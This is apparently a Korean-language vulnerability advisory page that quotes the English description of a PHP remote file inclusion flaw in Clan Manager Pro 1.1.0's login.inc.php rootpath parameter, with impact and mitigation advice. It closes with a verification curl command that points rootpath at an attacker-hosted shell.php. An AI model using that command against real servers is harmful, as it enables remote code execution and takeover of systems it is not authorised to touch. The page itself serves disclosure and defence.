🇰🇷 한글 설명
Clan Manager Pro 1.1.0의 login.inc.php 파일에서 rootpath 파라미터를 통한 PHP 원격 파일 포함(RFI) 취약점으로, 원격 공격자가 악의적인 URL을 입력하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다. 이는 매우 높은 수준의 보안 위협입니다.
💡 쉬운 설명
웹 서버에 특정 파라미터를 통해 원격지의 파일을 로드하도록 하는 취약점으로, 공격자가 악의적인 코드가 담긴 파일을 실행시킬 수 있습니다. 공격자가 서버를 완전히 제어할 수 있게 됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in cmpro.intern/login.inc.php for Clan Manager Pro (CMPRO) 1.1.0 allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
📍 영향받는 시스템
Clan Manager Pro (CMPRO) 1.1.0 및 이전 버전
⚔️ 공격 벡터
HTTP GET/POST 요청으로 rootpath 파라미터에 원격 PHP 파일 URL을 입력하여 원격 코드 실행
🛡️ 대응 방법
CMPRO를 1.1.0 이후 버전으로 업그레이드하거나 login.inc.php의 파일 포함 입력 값을 검증/필터링하여 로컬 경로만 허용
🔧 검증 코드
공격 대상 서버의 login.inc.php가 rootpath 파라미터를 필터링 없이 처리하면 원격 파일의 내용이 로드/실행되며, 정상이면 접근이 거부되거나 로컬 경로만 로드됩니다.
curl -s 'http://target/login.inc.php?rootpath=http://attacker.com/shell.php' | head -20